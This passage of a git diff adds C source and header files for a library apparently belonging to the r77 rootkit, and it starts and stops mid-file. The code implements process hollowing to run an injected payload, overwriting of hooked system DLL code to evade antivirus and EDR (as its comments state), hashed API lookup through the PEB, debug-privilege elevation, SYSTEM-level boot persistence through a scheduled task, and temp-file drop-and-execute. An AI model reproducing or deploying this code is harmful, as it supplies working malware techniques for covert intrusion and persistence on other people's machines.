enablePrivilege, BOOLEAN isThreadPrivilege, PBOOLEAN previousValue); +NTSTATUS NTAPI RtlSetProcessIsCritical(BOOLEAN newIsCritical, PBOOLEAN oldIsCritical, BOOLEAN needScb); +BOOL IsWindows10OrGreater2(); + +#endif \ No newline at end of file diff --git a/r77api/r77win.c b/r77api/r77win.c new file mode 100644 index 0000000..637d5d0 --- /dev/null +++ b/r77api/r77win.c @@ -0,0 +1,889 @@ +#include "r77win.h" +#include "r77runtime.h" +#include "ntdll.h" +#include +#include +#include +#include +#include + +BOOL GetRandomBytes(LPVOID buffer, DWORD size) +{ + BOOL result = FALSE; + + HCRYPTPROV cryptProvider; + if (CryptAcquireContextW(&cryptProvider, NULL, L"Microsoft Base Cryptographic Provider v1.0", PROV_RSA_FULL, CRYPT_VERIFYCONTEXT)) + { + if (CryptGenRandom(cryptProvider, size, buffer)) + { + result = TRUE; + } + + CryptReleaseContext(cryptProvider, 0); + } + + return result; +} +BOOL GetRandomString(PWCHAR str, DWORD length) +{ + WCHAR characters[] = L"abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"; + + if (GetRandomBytes(str, length * 2)) + { + for (DWORD i = 0; i < length; i++) + { + str[i] = characters[str[i] % (sizeof(characters) / sizeof(WCHAR) - 1)]; + } + + str[length] = L'\0'; + return TRUE; + } + else + { + return FALSE; + } +} +LPCSTR ConvertStringToAString(LPCWSTR str) +{ + PCHAR result = NULL; + + int length = WideCharToMultiByte(CP_ACP, 0, str, -1, NULL, 0, NULL, NULL); + if (length > 0) + { + result = NEW_ARRAY(CHAR, length); + if (WideCharToMultiByte(CP_ACP, 0, str, -1, result, length, NULL, NULL) <= 0) + { + FREE(result); + result = NULL; + } + } + + return result; +} +LPWSTR ConvertUnicodeStringToString(UNICODE_STRING str) +{ + if (str.Buffer) + { + PWCHAR buffer = NEW_ARRAY(WCHAR, str.Length / sizeof(WCHAR) + 1); + libc_wmemcpy(buffer, str.Buffer, str.Length / sizeof(WCHAR)); + buffer[str.Length / sizeof(WCHAR)] = L'\0'; + + return buffer; + } + else + { + return NULL; + } +} + +BOOL Is64BitOperatingSystem() +{ + BOOL wow64 = FALSE; + return BITNESS(64) || IsWow64Process(GetCurrentProcess(), &wow64) && wow64; +} +BOOL Is64BitProcess(DWORD processId, LPBOOL is64Bit) +{ + BOOL result = FALSE; + + if (Is64BitOperatingSystem()) + { + HANDLE process = OpenProcess(PROCESS_QUERY_LIMITED_INFORMATION, FALSE, processId); + if (process) + { + BOOL wow64; + if (IsWow64Process(process, &wow64)) + { + *is64Bit = wow64 ? FALSE : TRUE; + result = TRUE; + } + + CloseHandle(process); + } + } + else + { + *is64Bit = FALSE; + result = TRUE; + } + + return result; +} +LPVOID GetFunction(LPCSTR dll, LPCSTR function) +{ + HMODULE module = GetModuleHandleA(dll); + return module ? (LPVOID)GetProcAddress(module, function) : NULL; +} +BOOL GetProcessIntegrityLevel(HANDLE process, LPDWORD integrityLevel) +{ + BOOL result = FALSE; + + HANDLE token; + if (OpenProcessToken(process, TOKEN_QUERY, &token)) + { + DWORD tokenSize; + if (!GetTokenInformation(token, TokenIntegrityLevel, NULL, 0, &tokenSize) && GetLastError() == ERROR_INSUFFICIENT_BUFFER) + { + PTOKEN_MANDATORY_LABEL tokenMandatoryLabel = (PTOKEN_MANDATORY_LABEL)LocalAlloc(0, tokenSize); + if (tokenMandatoryLabel) + { + if (GetTokenInformation(token, TokenIntegrityLevel, tokenMandatoryLabel, tokenSize, &tokenSize)) + { + *integrityLevel = *GetSidSubAuthority(tokenMandatoryLabel->Label.Sid, *GetSidSubAuthorityCount(tokenMandatoryLabel->Label.Sid) - 1); + result = TRUE; + } + + LocalFree(tokenMandatoryLabel); + } + } + + CloseHandle(token); + } + + return result; +} +BOOL GetProcessFileName(DWORD processId, BOOL fullPath, LPWSTR fileName, DWORD fileNameLength) +{ + BOOL result = FALSE; + + HANDLE process = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, processId); + if (process) + { + WCHAR path[MAX_PATH + 1]; + if (GetModuleFileNameExW(process, NULL, path, MAX_PATH)) + { + PWCHAR resultFileName = fullPath ? path : PathFindFileNameW(path); + if ((DWORD)lstrlenW(resultFileName) <= fileNameLength) + { + lstrcpyW(fileName, resultFileName); + result = TRUE; + } + } + + CloseHandle(process); + } + + return result; +} +BOOL GetProcessUserName(HANDLE process, PWCHAR name, LPDWORD nameLength) +{ + BOOL result = FALSE; + + HANDLE token; + if (OpenProcessToken(process, TOKEN_QUERY, &token)) + { + DWORD tokenSize = 0; + if (!GetTokenInformation(token, TokenUser, NULL, 0, &tokenSize) && GetLastError() == ERROR_INSUFFICIENT_BUFFER) + { + PTOKEN_USER tokenUser = (PTOKEN_USER)LocalAlloc(0, tokenSize); + if (tokenUser) + { + if (GetTokenInformation(token, TokenUser, tokenUser, tokenSize, &tokenSize)) + { + WCHAR domain[256]; + DWORD domainLength = 256; + SID_NAME_USE sidType; + result = LookupAccountSidW(NULL, tokenUser->User.Sid, name, nameLength, domain, &domainLength, &sidType); + } + + LocalFree(tokenUser); + } + } + + CloseHandle(token); + } + + return result; +} +BOOL EnabledDebugPrivilege() +{ + BOOL result = FALSE; + + HANDLE process = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, GetCurrentProcessId()); + if (process) + { + HANDLE token; + if (OpenProcessToken(process, TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &token)) + { + LUID luid; + if (LookupPrivilegeValueW(NULL, L"SeDebugPrivilege", &luid)) + { + TOKEN_PRIVILEGES tokenPrivileges; + tokenPrivileges.PrivilegeCount = 1; + tokenPrivileges.Privileges[0].Luid = luid; + tokenPrivileges.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; + + if (AdjustTokenPrivileges(token, FALSE, &tokenPrivileges, sizeof(TOKEN_PRIVILEGES), NULL, NULL)) + { + result = GetLastError() != ERROR_NOT_ALL_ASSIGNED; + } + } + } + + CloseHandle(process); + } + + return result; +} +BOOL GetResource(DWORD resourceID, PCSTR type, LPBYTE *data, LPDWORD size) +{ + HRSRC resource = FindResourceA(NULL, MAKEINTRESOURCEA(resourceID), type); + if (resource) + { + *size = SizeofResource(NULL, resource); + if (*size) + { + HGLOBAL resourceData = LoadResource(NULL, resource); + if (resourceData) + { + *data = (LPBYTE)LockResource(resourceData); + return TRUE; + } + } + } + + return FALSE; +} +BOOL GetPathFromHandle(HANDLE file, LPWSTR fileName, DWORD fileNameLength) +{ + BOOL result = FALSE; + + WCHAR path[MAX_PATH + 1]; + if (GetFinalPathNameByHandleW(file, path, MAX_PATH, FILE_NAME_NORMALIZED) > 0 && !StrCmpNIW(path, L"\\\\?\\", 4)) + { + PWCHAR resultFileName = &path[4]; + if ((DWORD)lstrlenW(resultFileName) <= fileNameLength) + { + lstrcpyW(fileName, resultFileName); + result = TRUE; + } + } + + return result; +} +BOOL ReadFileContent(LPCWSTR path, LPBYTE *data, LPDWORD size) +{ + BOOL result = FALSE; + + HANDLE file = CreateFileW(path, GENERIC_READ, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL); + if (file != INVALID_HANDLE_VALUE) + { + DWORD fileSize = GetFileSize(file, NULL); + if (fileSize != INVALID_FILE_SIZE) + { + LPBYTE fileData = NEW_ARRAY(BYTE, fileSize); + + DWORD bytesRead; + if (ReadFile(file, fileData, fileSize, &bytesRead, NULL) && bytesRead == fileSize) + { + *data = fileData; + if (size) *size = fileSize; + result = TRUE; + } + else + { + FREE(fileData); + } + } + + CloseHandle(file); + } + + return result; +} +BOOL ReadFileStringW(HANDLE file, PWCHAR str, DWORD length) +{ + BOOL result = FALSE; + + for (DWORD count = 0; count < length; count++) + { + DWORD bytesRead; + if (!ReadFile(file, &str[count], sizeof(WCHAR), &bytesRead, NULL) || bytesRead != sizeof(WCHAR)) + { + result = FALSE; + break; + } + + if (str[count] == L'\0') + { + result = TRUE; + break; + } + } + + return result; +} +BOOL WriteFileContent(LPCWSTR path, LPBYTE data, DWORD size) +{ + BOOL result = FALSE; + + HANDLE file = CreateFileW(path, GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL); + if (file != INVALID_HANDLE_VALUE) + { + DWORD bytesWritten; + result = WriteFile(file, data, size, &bytesWritten, NULL); + CloseHandle(file); + } + + return result; +} +BOOL CreateTempFile(LPBYTE file, DWORD fileSize, LPCWSTR extension, LPWSTR resultPath) +{ + BOOL result = FALSE; + WCHAR tempPath[MAX_PATH + 1]; + + if (GetTempPathW(MAX_PATH, tempPath)) + { + WCHAR fileName[MAX_PATH + 1]; + if (GetRandomString(fileName, 8)) + { + lstrcatW(fileName, L"."); + lstrcatW(fileName, extension); + + if (PathCombineW(resultPath, tempPath, fileName) && WriteFileContent(resultPath, file, fileSize)) + { + result = TRUE; + } + } + } + + return result; +} +BOOL ExecuteFile(LPCWSTR path, BOOL deleteFile) +{ + BOOL result = FALSE; + + STARTUPINFOW startupInfo; + PROCESS_INFORMATION processInformation; + libc_memset(&startupInfo, 0, sizeof(STARTUPINFOW)); + libc_memset(&processInformation, 0, sizeof(PROCESS_INFORMATION)); + startupInfo.cb = sizeof(startupInfo); + + if (CreateProcessW(path, NULL, NULL, NULL, FALSE, 0, NULL, NULL, &startupInfo, &processInformation)) + { + WaitForSingleObject(processInformation.hProcess, 10000); + CloseHandle(processInformation.hProcess); + CloseHandle(processInformation.hThread); + + result = TRUE; + } + + if (deleteFile) + { + for (int i = 0; i < 10; i++) + { + if (DeleteFileW(path)) break; + Sleep(100); + } + } + + return result; +} +BOOL CreateScheduledTask(LPCWSTR name, LPCWSTR directory, LPCWSTR fileName, LPCWSTR arguments) +{ + BOOL result = FALSE; + + BSTR nameBstr = SysAllocString(name); + BSTR directoryBstr = SysAllocString(directory); + BSTR fileNameBstr = SysAllocString(fileName); + BSTR argumentsBstr = SysAllocString(arguments); + BSTR folderPathBstr = SysAllocString(L"\\"); + BSTR userIdBstr = SysAllocString(L"SYSTEM"); + + if (SUCCEEDED(CoInitializeEx(NULL, COINIT_MULTITHREADED))) + { + HRESULT initializeSecurityResult = CoInitializeSecurity(NULL, -1, NULL, NULL, RPC_C_AUTHN_LEVEL_PKT_PRIVACY, RPC_C_IMP_LEVEL_IMPERSONATE, NULL, 0, NULL); + if (SUCCEEDED(initializeSecurityResult) || initializeSecurityResult == RPC_E_TOO_LATE) + { + ITaskService *service = NULL; + if (SUCCEEDED(CoCreateInstance((LPCLSID)&CLSID_TaskScheduler, NULL, CLSCTX_INPROC_SERVER, (LPCLSID)&IID_ITaskService, (LPVOID*)&service))) + { + VARIANT empty; + VariantInit(&empty); + + if (SUCCEEDED(service->lpVtbl->Connect(service, empty, empty, empty, empty))) + { + ITaskFolder *folder = NULL; + if (SUCCEEDED(service->lpVtbl->GetFolder(service, folderPathBstr, &folder))) + { + ITaskDefinition *task = NULL; + if (SUCCEEDED(service->lpVtbl->NewTask(service, 0, &task))) + { + ITaskSettings *settings = NULL; + if (SUCCEEDED(task->lpVtbl->get_Settings(task, &settings))) + { + if (SUCCEEDED(settings->lpVtbl->put_StartWhenAvailable(settings, VARIANT_TRUE))) + { + ITriggerCollection *triggerCollection = NULL; + if (SUCCEEDED(task->lpVtbl->get_Triggers(task, &triggerCollection))) + { + ITrigger *trigger = NULL; + if (SUCCEEDED(triggerCollection->lpVtbl->Create(triggerCollection, TASK_TRIGGER_BOOT, &trigger))) + { + IBootTrigger *bootTrigger = NULL; + if (SUCCEEDED(trigger->lpVtbl->QueryInterface(trigger, (LPCLSID)&IID_IBootTrigger, (LPVOID*)&bootTrigger))) + { + IActionCollection *actionCollection = NULL; + if (SUCCEEDED(task->lpVtbl->get_Actions(task, &actionCollection))) + { + IAction *action = NULL; + if (SUCCEEDED(actionCollection->lpVtbl->Create(actionCollection, TASK_ACTION_EXEC, &action))) + { + IExecAction *execAction = NULL; + if (SUCCEEDED(action->lpVtbl->QueryInterface(action, (LPCLSID)&IID_IExecAction, (LPVOID*)&execAction))) + { + if (SUCCEEDED(execAction->lpVtbl->put_WorkingDirectory(execAction, directoryBstr)) && + SUCCEEDED(execAction->lpVtbl->put_Path(execAction, fileNameBstr)) && + SUCCEEDED(execAction->lpVtbl->put_Arguments(execAction, argumentsBstr))) + { + VARIANT password; + VariantInit(&password); + + VARIANT userId; + VariantInit(&userId); + userId.vt = VT_BSTR; + userId.bstrVal = userIdBstr; + + VARIANT sddl; + VariantInit(&sddl); + + IRegisteredTask *registeredTask = NULL; + HRESULT hr = folder->lpVtbl->RegisterTaskDefinition(folder, nameBstr, task, TASK_CREATE_OR_UPDATE, userId, password, TASK_LOGON_SERVICE_ACCOUNT, sddl, ®isteredTask); + if (SUCCEEDED(hr)) + { + result = TRUE; + + registeredTask->lpVtbl->Release(registeredTask); + } + } + + execAction->lpVtbl->Release(execAction); + } + + action->lpVtbl->Release(action); + } + + actionCollection->lpVtbl->Release(actionCollection); + } + + bootTrigger->lpVtbl->Release(bootTrigger); + } + + trigger->lpVtbl->Release(trigger); + } + + triggerCollection->lpVtbl->Release(triggerCollection); + } + } + + settings->lpVtbl->Release(settings); + } + + task->lpVtbl->Release(task); + } + + folder->lpVtbl->Release(folder); + } + } + + service->lpVtbl->Release(service); + } + } + + CoUninitialize(); + } + + SysFreeString(nameBstr); + SysFreeString(directoryBstr); + SysFreeString(fileNameBstr); + SysFreeString(argumentsBstr); + SysFreeString(folderPathBstr); + SysFreeString(userIdBstr); + + return result; +} +BOOL RunScheduledTask(LPCWSTR name) +{ + BOOL result = FALSE; + + BSTR nameBstr = SysAllocString(name); + BSTR folderPathBstr = SysAllocString(L"\\"); + + if (SUCCEEDED(CoInitializeEx(NULL, COINIT_MULTITHREADED))) + { + HRESULT initializeSecurityResult = CoInitializeSecurity(NULL, -1, NULL, NULL, RPC_C_AUTHN_LEVEL_PKT_PRIVACY, RPC_C_IMP_LEVEL_IMPERSONATE, NULL, 0, NULL); + if (SUCCEEDED(initializeSecurityResult) || initializeSecurityResult == RPC_E_TOO_LATE) + { + ITaskService *service = NULL; + if (SUCCEEDED(CoCreateInstance((LPCLSID)&CLSID_TaskScheduler, NULL, CLSCTX_INPROC_SERVER, (LPCLSID)&IID_ITaskService, (LPVOID*)&service))) + { + VARIANT empty; + VariantInit(&empty); + + if (SUCCEEDED(service->lpVtbl->Connect(service, empty, empty, empty, empty))) + { + ITaskFolder *folder = NULL; + if (SUCCEEDED(service->lpVtbl->GetFolder(service, folderPathBstr, &folder))) + { + IRegisteredTask *task = NULL; + if (SUCCEEDED(folder->lpVtbl->GetTask(folder, nameBstr, &task))) + { + VARIANT params; + VariantInit(¶ms); + + IRunningTask *runningTask = NULL; + if (SUCCEEDED(task->lpVtbl->Run(task, params, &runningTask))) + { + result = TRUE; + + runningTask->lpVtbl->Release(runningTask); + } + + task->lpVtbl->Release(task); + } + + folder->lpVtbl->Release(folder); + } + } + + service->lpVtbl->Release(service); + } + } + + CoUninitialize(); + } + + SysFreeString(nameBstr); + SysFreeString(folderPathBstr); + + return result; +} +BOOL DeleteScheduledTask(LPCWSTR name) +{ + BOOL result = FALSE; + + BSTR nameBstr = SysAllocString(name); + BSTR folderPathBstr = SysAllocString(L"\\"); + + if (SUCCEEDED(CoInitializeEx(NULL, COINIT_MULTITHREADED))) + { + HRESULT initializeSecurityResult = CoInitializeSecurity(NULL, -1, NULL, NULL, RPC_C_AUTHN_LEVEL_PKT_PRIVACY, RPC_C_IMP_LEVEL_IMPERSONATE, NULL, 0, NULL); + if (SUCCEEDED(initializeSecurityResult) || initializeSecurityResult == RPC_E_TOO_LATE) + { + ITaskService *service = NULL; + if (SUCCEEDED(CoCreateInstance((LPCLSID)&CLSID_TaskScheduler, NULL, CLSCTX_INPROC_SERVER, (LPCLSID)&IID_ITaskService, (LPVOID*)&service))) + { + VARIANT empty; + VariantInit(&empty); + + if (SUCCEEDED(service->lpVtbl->Connect(service, empty, empty, empty, empty))) + { + ITaskFolder *folder = NULL; + if (SUCCEEDED(service->lpVtbl->GetFolder(service, folderPathBstr, &folder))) + { + if (SUCCEEDED(folder->lpVtbl->DeleteTask(folder, nameBstr, 0))) + { + result = TRUE; + } + + folder->lpVtbl->Release(folder); + } + } + + service->lpVtbl->Release(service); + } + } + + CoUninitialize(); + } + + SysFreeString(nameBstr); + SysFreeString(folderPathBstr); + + return result; +} +HANDLE CreatePublicNamedPipe(LPCWSTR name) +{ + // Get security attributes for "EVERYONE", so the named pipe is accessible to all processes. + + SID_IDENTIFIER_AUTHORITY authority = SECURITY_WORLD_SID_AUTHORITY; + PSID everyoneSid; + if (!AllocateAndInitializeSid(&authority, 1, SECURITY_WORLD_RID, 0, 0, 0, 0, 0, 0, 0, &everyoneSid)) return INVALID_HANDLE_VALUE; + + EXPLICIT_ACCESSW explicitAccess; + libc_memset(&explicitAccess, 0, sizeof(EXPLICIT_ACCESSW)); + explicitAccess.grfAccessPermissions = FILE_ALL_ACCESS; + explicitAccess.grfAccessMode = SET_ACCESS; + explicitAccess.grfInheritance = NO_INHERITANCE; + explicitAccess.Trustee.TrusteeForm = TRUSTEE_IS_SID; + explicitAccess.Trustee.TrusteeType = TRUSTEE_IS_WELL_KNOWN_GROUP; + explicitAccess.Trustee.ptstrName = (LPWSTR)everyoneSid; + + PACL acl; + if (SetEntriesInAclW(1, &explicitAccess, NULL, &acl) != ERROR_SUCCESS) return INVALID_HANDLE_VALUE; + + PSECURITY_DESCRIPTOR securityDescriptor = (PSECURITY_DESCRIPTOR)LocalAlloc(LPTR, SECURITY_DESCRIPTOR_MIN_LENGTH); + if (!securityDescriptor || + !InitializeSecurityDescriptor(securityDescriptor, SECURITY_DESCRIPTOR_REVISION) || + !SetSecurityDescriptorDacl(securityDescriptor, TRUE, acl, FALSE)) return INVALID_HANDLE_VALUE; + + SECURITY_ATTRIBUTES securityAttributes; + securityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); + securityAttributes.lpSecurityDescriptor = securityDescriptor; + securityAttributes.bInheritHandle = FALSE; + + return CreateNamedPipeW(name, PIPE_ACCESS_DUPLEX, PIPE_TYPE_BYTE | PIPE_READMODE_BYTE | PIPE_WAIT, PIPE_UNLIMITED_INSTANCES, 1024, 1024, NMPWAIT_USE_DEFAULT_WAIT, &securityAttributes); +} + +BOOL IsExecutable64Bit(LPBYTE image, LPBOOL is64Bit) +{ + PIMAGE_NT_HEADERS ntHeaders = (PIMAGE_NT_HEADERS)(image + ((PIMAGE_DOS_HEADER)image)->e_lfanew); + + if (ntHeaders->Signature == IMAGE_NT_SIGNATURE) + { + switch (ntHeaders->OptionalHeader.Magic) + { + case 0x10b: + *is64Bit = FALSE; + return TRUE; + case 0x20b: + *is64Bit = TRUE; + return TRUE; + } + } + + return FALSE; +} +LPVOID PebGetProcAddress(DWORD moduleHash, DWORD functionHash) +{ +#ifdef _WIN64 + PNT_PEB_LDR_DATA peb = (PNT_PEB_LDR_DATA)((PNT_PEB)__readgsqword(0x60))->Ldr; +#else + PNT_PEB_LDR_DATA peb = (PNT_PEB_LDR_DATA)((PNT_PEB)__readfsdword(0x30))->Ldr; +#endif + + PNT_LDR_DATA_TABLE_ENTRY firstPebEntry = (PNT_LDR_DATA_TABLE_ENTRY)peb->InMemoryOrderModuleList.Flink; + PNT_LDR_DATA_TABLE_ENTRY pebEntry = firstPebEntry; + do + { + // Find module by hash + if (pebEntry->BaseDllName.Buffer && libc_strhashi((LPCSTR)pebEntry->BaseDllName.Buffer, pebEntry->BaseDllName.Length) == moduleHash) + { + LPBYTE dllBase = (LPBYTE)pebEntry->DllBase; + PIMAGE_NT_HEADERS ntHeaders = (PIMAGE_NT_HEADERS)(dllBase + ((PIMAGE_DOS_HEADER)dllBase)->e_lfanew); + PIMAGE_EXPORT_DIRECTORY exportDirectory = (PIMAGE_EXPORT_DIRECTORY)(dllBase + ntHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress); + LPDWORD nameDirectory = (LPDWORD)(dllBase + exportDirectory->AddressOfNames); + LPWORD nameOrdinalDirectory = (LPWORD)(dllBase + exportDirectory->AddressOfNameOrdinals); + + // Find function by hash + for (DWORD i = 0; i < exportDirectory->NumberOfNames; i++, nameDirectory++, nameOrdinalDirectory++) + { + if (libc_strhash((LPCSTR)(dllBase + *nameDirectory)) == functionHash) + { + return dllBase + *(LPDWORD)(dllBase + exportDirectory->AddressOfFunctions + *nameOrdinalDirectory * sizeof(DWORD)); + } + } + + return NULL; + } + } + while ((pebEntry = (PNT_LDR_DATA_TABLE_ENTRY)pebEntry->InMemoryOrderModuleList.Flink) != firstPebEntry); + + return NULL; +} +BOOL RunPE(LPCWSTR path, LPBYTE payload) +{ + // For 32-bit (and 64-bit?) process hollowing, this needs to be attempted several times. + // This is a workaround to the well known stability issue of process hollowing. + for (DWORD i = 0; i < 5; i++) + { + DWORD processId = 0; + PIMAGE_NT_HEADERS ntHeaders = (PIMAGE_NT_HEADERS)(payload + ((PIMAGE_DOS_HEADER)payload)->e_lfanew); + + if (ntHeaders->Signature == IMAGE_NT_SIGNATURE) + { + STARTUPINFOW startupInfo; + PROCESS_INFORMATION processInformation; + libc_memset(&startupInfo, 0, sizeof(STARTUPINFOW)); + libc_memset(&processInformation, 0, sizeof(PROCESS_INFORMATION)); + startupInfo.cb = sizeof(startupInfo); + + if (CreateProcessW(path, NULL, NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, &startupInfo, &processInformation)) + { + processId = processInformation.dwProcessId; + + //TODO: NtUnmapViewOfSection here + + LPVOID imageBase = VirtualAllocEx(processInformation.hProcess, (LPVOID)ntHeaders->OptionalHeader.ImageBase, ntHeaders->OptionalHeader.SizeOfImage, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); + if (imageBase && WriteProcessMemory(processInformation.hProcess, imageBase, payload, ntHeaders->OptionalHeader.SizeOfHeaders, NULL)) + { + BOOL sectionsWritten = TRUE; + + for (int j = 0; j < ntHeaders->FileHeader.NumberOfSections; j++) + { + PIMAGE_SECTION_HEADER sectionHeader = (PIMAGE_SECTION_HEADER)((ULONG_PTR)IMAGE_FIRST_SECTION(ntHeaders) + j * (ULONG_PTR)IMAGE_SIZEOF_SECTION_HEADER); + + if (!WriteProcessMemory(processInformation.hProcess, (LPBYTE)imageBase + sectionHeader->VirtualAddress, (LPBYTE)payload + sectionHeader->PointerToRawData, sectionHeader->SizeOfRawData, NULL)) + { + sectionsWritten = FALSE; + break; + } + } + + if (sectionsWritten) + { + LPCONTEXT context = (LPCONTEXT)VirtualAlloc(NULL, sizeof(CONTEXT), MEM_COMMIT, PAGE_READWRITE); + if (context) + { + context->ContextFlags = CONTEXT_FULL; + + if (GetThreadContext(processInformation.hThread, context)) + { +#ifdef _WIN64 + if (WriteProcessMemory(processInformation.hProcess, (LPVOID)(context->Rdx + sizeof(LPVOID) * 2), &ntHeaders->OptionalHeader.ImageBase, sizeof(LPVOID), NULL)) + { + context->Rcx = (DWORD64)imageBase + ntHeaders->OptionalHeader.AddressOfEntryPoint; + if (SetThreadContext(processInformation.hThread, context) && + ResumeThread(processInformation.hThread) != -1) + { + return TRUE; + } + } +#else + if (WriteProcessMemory(processInformation.hProcess, (LPVOID)(context->Ebx + sizeof(LPVOID) * 2), &ntHeaders->OptionalHeader.ImageBase, sizeof(LPVOID), NULL)) + { + context->Eax = (DWORD)imageBase + ntHeaders->OptionalHeader.AddressOfEntryPoint; + if (SetThreadContext(processInformation.hThread, context) && + ResumeThread(processInformation.hThread) != -1) + { + return TRUE; + } + } +#endif + } + } + } + } + } + } + + if (processId != 0) + { + HANDLE process = OpenProcess(PROCESS_TERMINATE, FALSE, processId); + if (process) + { + TerminateProcess(process, 0); + } + } + } + + return FALSE; +} +DWORD GetExecutableFunction(LPBYTE image, LPCSTR functionName) +{ + BOOL is64Bit; + if (IsExecutable64Bit(image, &is64Bit) && BITNESS(is64Bit ? 64 : 32)) + { + PIMAGE_NT_HEADERS ntHeaders = (PIMAGE_NT_HEADERS)(image + ((PIMAGE_DOS_HEADER)image)->e_lfanew); + PIMAGE_EXPORT_DIRECTORY exportDirectory = (PIMAGE_EXPORT_DIRECTORY)(image + RvaToOffset(image, ntHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress)); + LPDWORD nameDirectory = (LPDWORD)(image + RvaToOffset(image, exportDirectory->AddressOfNames)); + LPWORD nameOrdinalDirectory = (LPWORD)(image + RvaToOffset(image, exportDirectory->AddressOfNameOrdinals)); + + for (DWORD i = 0; i < exportDirectory->NumberOfNames; i++) + { + if (StrStrA((PCHAR)(image + RvaToOffset(image, *nameDirectory)), functionName)) + { + return RvaToOffset(image, *(LPDWORD)(image + RvaToOffset(image, exportDirectory->AddressOfFunctions) + *nameOrdinalDirectory * sizeof(DWORD))); + } + + nameDirectory++; + nameOrdinalDirectory++; + } + } + + return 0; +} +DWORD RvaToOffset(LPBYTE image, DWORD rva) +{ + PIMAGE_NT_HEADERS ntHeaders = (PIMAGE_NT_HEADERS)(image + ((PIMAGE_DOS_HEADER)image)->e_lfanew); + PIMAGE_SECTION_HEADER sections = (PIMAGE_SECTION_HEADER)((LPBYTE)&ntHeaders->OptionalHeader + ntHeaders->FileHeader.SizeOfOptionalHeader); + + if (rva < sections[0].PointerToRawData) + { + return rva; + } + else + { + for (WORD i = 0; i < ntHeaders->FileHeader.NumberOfSections; i++) + { + if (rva >= sections[i].VirtualAddress && rva < sections[i].VirtualAddress + sections[i].SizeOfRawData) + { + return rva - sections[i].VirtualAddress + sections[i].PointerToRawData; + } + } + + return 0; + } +} +VOID UnhookDll(LPCWSTR name) +{ + if (name) + { + WCHAR path[MAX_PATH + 1]; + if (Is64BitOperatingSystem() && BITNESS(32)) lstrcpyW(path, L"C:\\Windows\\SysWOW64\\"); + else lstrcpyW(path, L"C:\\Windows\\System32\\"); + + lstrcatW(path, name); + + // Get original DLL handle. This DLL is possibly hooked by AV/EDR solutions. + HMODULE dll = GetModuleHandleW(name); + if (dll) + { + MODULEINFO moduleInfo; + libc_memset(&moduleInfo, 0, sizeof(MODULEINFO)); + + if (GetModuleInformation(GetCurrentProcess(), dll, &moduleInfo, sizeof(MODULEINFO))) + { + // Retrieve a clean copy of the DLL file. + HANDLE dllFile = CreateFileW(path, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, 0, NULL); + if (dllFile != INVALID_HANDLE_VALUE) + { + // Map the clean DLL into memory + HANDLE dllMapping = CreateFileMappingW(dllFile, NULL, PAGE_READONLY | SEC_IMAGE, 0, 0, NULL); + if (dllMapping) + { + LPVOID dllMappedFile = MapViewOfFile(dllMapping, FILE_MAP_READ, 0, 0, 0); + if (dllMappedFile) + { + PIMAGE_NT_HEADERS ntHeaders = (PIMAGE_NT_HEADERS)((ULONG_PTR)moduleInfo.lpBaseOfDll + ((PIMAGE_DOS_HEADER)moduleInfo.lpBaseOfDll)->e_lfanew); + + for (WORD i = 0; i < ntHeaders->FileHeader.NumberOfSections; i++) + { + PIMAGE_SECTION_HEADER sectionHeader = (PIMAGE_SECTION_HEADER)((ULONG_PTR)IMAGE_FIRST_SECTION(ntHeaders) + (i * (ULONG_PTR)IMAGE_SIZEOF_SECTION_HEADER)); + + // Find the .text section of the hooked DLL and overwrite it with the original DLL section + if (!lstrcmpiA((LPCSTR)sectionHeader->Name, ".text")) + { + LPVOID virtualAddress = (LPVOID)((ULONG_PTR)moduleInfo.lpBaseOfDll + (ULONG_PTR)sectionHeader->VirtualAddress); + DWORD virtualSize = sectionHeader->Misc.VirtualSize; + + DWORD oldProtect; + VirtualProtect(virtualAddress, virtualSize, PAGE_EXECUTE_READWRITE, &oldProtect); + libc_memcpy(virtualAddress, (LPVOID)((ULONG_PTR)dllMappedFile + (ULONG_PTR)sectionHeader->VirtualAddress), virtualSize); + VirtualProtect(virtualAddress, virtualSize, oldProtect, &oldProtect); + + break; + } + } + } + + CloseHandle(dllMapping); + } + + CloseHandle(dllFile); + } + } + + FreeLibrary(dll); + } + } +} \ No newline at end of file diff --git a/r77api/r77win.h b/r77api/r77win.h new file mode 100644 index 0000000..1351037 --- /dev/null +++ b/r77api/r77win.h @@ -0,0 +1,282 @@ +#include "r77mindef.h" +#ifndef _R77WIN_H +#define _R77WIN_H + +/// +/// Writes random bytes to the buffer. +/// +/// A buffer to write the random data to. +/// The size in bytes of random data to write. +/// +/// TRUE, if this function succeeds; +/// otherwise, FALSE. +/// +BOOL GetRandomBytes(LPVOID buffer, DWORD size); +/// +/// Generates a random alphanumeric string. +/// +/// A buffer of unicode characters to write the string to. +/// The number of characters to write. +/// +/// TRUE, if this function succeeds; +/// otherwise, FALSE. +/// +BOOL GetRandomString(PWCHAR str, DWORD length); +/// +/// Converts a LPCWSTR into a null terminated LPCSTR. +/// +/// The LPCWSTR to convert. +/// +/// A newly allocated LPCSTR with the converted LPCWSTR. +/// +LPCSTR ConvertStringToAString(LPCWSTR str); +/// +/// Converts a UNICODE_STRING into a null terminated LPWSTR. +/// +/// The UNICODE_STRING to convert. +/// +/// A newly allocated LPWSTR with the converted UNICODE_STRING. +/// +LPWSTR ConvertUnicodeStringToString(UNICODE_STRING str); + +/// +/// Determines whether the operating system is a 64-bit operating system. +/// +/// +/// TRUE, if the operating system is a 64-bit operating system; +/// otherwise, FALSE. +/// +BOOL Is64BitOperatingSystem(); +/// +/// Determines whether a process is a 64-bit process. +/// +/// The process ID to check. +/// A pointer to a BOOL value to write the result to. +/// +/// TRUE, if this function succeeds; +/// otherwise, FALSE. +/// +BOOL 